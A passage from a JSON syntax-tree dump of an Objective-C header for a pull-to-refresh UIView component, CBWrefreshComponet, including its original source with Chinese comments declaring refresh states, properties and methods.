"type": "identifier", "text": "ge;\n@end\n", "parent": 129, "children": [], "start_point": {"row": 59, "column": 8}, "end_point": {"row": 59, "column": 40}}, {"id": 131, "type": "identifier", "text": "", "parent": 129, "children": [], "start_point": {"row": 59, "column": 42}, "end_point": {"row": 59, "column": 54}}, {"id": 132, "type": "*", "text": "", "parent": 129, "children": [], "start_point": {"row": 59, "column": 55}, "end_point": {"row": 59, "column": 56}}, {"id": 133, "type": "identifier", "text": "", "parent": 127, "children": [], "start_point": {"row": 59, "column": 57}, "end_point": {"row": 59, "column": 63}}, {"id": 134, "type": "ERROR", "text": "", "parent": 3, "children": [135], "start_point": {"row": 61, "column": 0}, "end_point": {"row": 61, "column": 3}}, {"id": 135, "type": "-", "text": "", "parent": 134, "children": [], "start_point": {"row": 61, "column": 0}, "end_point": {"row": 61, "column": 1}}, {"id": 136, "type": "declaration", "text": "", "parent": 3, "children": [137, 138, 142], "start_point": {"row": 61, "column": 3}, "end_point": {"row": 61, "column": 62}}, {"id": 137, "type": "primitive_type", "text": "", "parent": 136, "children": [], "start_point": {"row": 61, "column": 3}, "end_point": {"row": 61, "column": 7}}, {"id": 138, "type": "ERROR", "text": "", "parent": 136, "children": [139, 140, 141], "start_point": {"row": 61, "column": 7}, "end_point": {"row": 61, "column": 55}}, {"id": 139, "type": "identifier", "text": "", "parent": 138, "children": [], "start_point": {"row": 61, "column": 8}, "end_point": {"row": 61, "column": 38}}, {"id": 140, "type": "identifier", "text": "", "parent": 138, "children": [], "start_point": {"row": 61, "column": 40}, "end_point": {"row": 61, "column": 52}}, {"id": 141, "type": "*", "text": "", "parent": 138, "children": [], "start_point": {"row": 61, "column": 53}, "end_point": {"row": 61, "column": 54}}, {"id": 142, "type": "identifier", "text": "", "parent": 136, "children": [], "start_point": {"row": 61, "column": 55}, "end_point": {"row": 61, "column": 61}}, {"id": 143, "type": "ERROR", "text": "", "parent": 3, "children": [144], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 3}}, {"id": 144, "type": "-", "text": "", "parent": 143, "children": [], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 1}}, {"id": 145, "type": "declaration", "text": "", "parent": 3, "children": [146, 147, 151], "start_point": {"row": 63, "column": 3}, "end_point": {"row": 63, "column": 59}}, {"id": 146, "type": "primitive_type", "text": "", "parent": 145, "children": [], "start_point": {"row": 63, "column": 3}, "end_point": {"row": 63, "column": 7}}, {"id": 147, "type": "ERROR", "text": "", "parent": 145, "children": [148, 149, 150], "start_point": {"row": 63, "column": 7}, "end_point": {"row": 63, "column": 52}}, {"id": 148, "type": "identifier", "text": "", "parent": 147, "children": [], "start_point": {"row": 63, "column": 8}, "end_point": {"row": 63, "column": 35}}, {"id": 149, "type": "identifier", "text": "", "parent": 147, "children": [], "start_point": {"row": 63, "column": 37}, "end_point": {"row": 63, "column": 49}}, {"id": 150, "type": "*", "text": "", "parent": 147, "children": [], "start_point": {"row": 63, "column": 50}, "end_point": {"row": 63, "column": 51}}, {"id": 151, "type": "identifier", "text": "", "parent": 145, "children": [], "start_point": {"row": 63, "column": 52}, "end_point": {"row": 63, "column": 58}}, {"id": 152, "type": "ERROR", "text": "", "parent": 3, "children": [153], "start_point": {"row": 64, "column": 0}, "end_point": {"row": 64, "column": 1}}, {"id": 153, "type": "ERROR", "text": "", "parent": 152, "children": [], "start_point": {"row": 64, "column": 0}, "end_point": {"row": 64, "column": 1}}, {"id": 154, "type": "identifier", "text": "", "parent": 3, "children": [], "start_point": {"row": 64, "column": 1}, "end_point": {"row": 64, "column": 4}}]}, "node_categories": {"declarations": {"functions": [32], "variables": [37, 42, 56, 69, 80, 92, 98, 104, 110, 121, 127, 136, 145], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [12, 17, 19, 21], "assignments": [13], "loops": [], "conditionals": [5, 6, 9, 11, 14, 18, 20, 22, 23, 27, 29, 30, 33, 35, 36, 38, 39, 43, 44, 46, 48, 50, 53, 57, 58, 61, 63, 65, 66, 70, 71, 74, 76, 78, 79, 81, 82, 84, 86, 88, 89, 95, 101, 107, 113, 114, 115, 116, 117, 118, 124, 130, 131, 133, 139, 140, 142, 148, 149, 151, 154], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [16], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 32, "universal_type": "function", "name": "unknown", "text_snippet": "property (weak, nonatomic) i"}], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// CBWrefreshComponet.h\n// CBWRefresh\n//\n// Created by \u9648\u535a\u6587 on 16/5/30.\n// Copyright \u00a9 2016\u5e74 \u9648\u535a\u6587. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n/** \u5237\u65b0\u63a7\u4ef6\u7684\u72b6\u6001 */\ntypedef NS_ENUM(NSInteger,CBWRefreshState) {\n /** \u666e\u901a\u95f2\u7f6e\u72b6\u6001 */\n CBWRefreshStateIdle = 1,\n /** \u677e\u5f00\u5c31\u53ef\u4ee5\u8fdb\u884c\u5237\u65b0\u7684\u72b6\u6001 */\n CBWRefreshStatePulling,\n /** \u6b63\u5728\u5237\u65b0\u4e2d\u7684\u72b6\u6001 */\n CBWRefreshStateRefreshing,\n /** \u5373\u5c06\u5237\u65b0\u7684\u72b6\u6001 */\n CBWRefreshStateWillRefresh,\n /** \u6240\u6709\u6570\u636e\u52a0\u8f7d\u5b8c\u6bd5\uff0c\u6ca1\u6709\u66f4\u591a\u7684\u6570\u636e\u4e86 */\n CBWRefreshStateNoMoreData\n};\n\n@interface CBWrefreshComponet : UIView\n\n/** \u5904\u4e8e\u5237\u65b0\u7684\u72b6\u6001*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** \u83b7\u53d6\u6b63\u5728\u6eda\u52a8\u7684 scrolView*/\n@property (nonatomic ,weak) UIScrollView *scrollView;\n/** \u56de\u8c03\u5bf9\u8c61 */\n@property (weak, nonatomic) id refreshingTarget;\n/** \u56de\u8c03\u65b9\u6cd5 */\n@property (assign, nonatomic) SEL refreshingAction;\n/** \u4e0b\u62c9\u6bd4\u4f8b*/\n@property (nonatomic ,assign) float pullingPercent;\n\n/**\n * \u521d\u59cb\u5316\u63a7\u4ef6\n */\n- (void)prepare;\n\n/**\n * \u5f00\u59cb\u5237\u65b0\n */\n- (void)beginRefresh;\n\n/**\n * \u7ed3\u675f\u5237\u65b0\n */\n- (void)endRefresh;\n\n//\u8bbe\u7f6e\u4e8b\u4ef6\n- (void)setRefreshingTarget:(id)target refreshingAction:(SEL)action;\n\n//\u8c03\u7528\u5237\u65b0\u65b9\u6cd5\n- (void)executeRefreshingCallback;\n\n/** \u5f53scrollView\u7684contentOffset\u53d1\u751f\u6539\u53d8\u7684\u65f6\u5019\u8c03\u7528 */\n- (void)scrollViewContentOffsetDidChange:(NSDictionary *)change;\n/** \u5f53scrollView\u7684contentSize\u53d1\u751f\u6539\u53d8\u7684\u65f6\u5019\u8c03\u7528 */\n- (void)scrollViewContentSizeDidChange:(NSDictionary *)change;\n/** \u5f53scrollView\u7684\u62d6\u62fd\u72b6\u6001\u53d1\u751f\u6539\u53d8\u7684\u65f6\u5019\u8c03\u7528 */\n- (void)scrollViewPanStateDidChange:(NSDictionary *)change;\n@end\n"}
81,199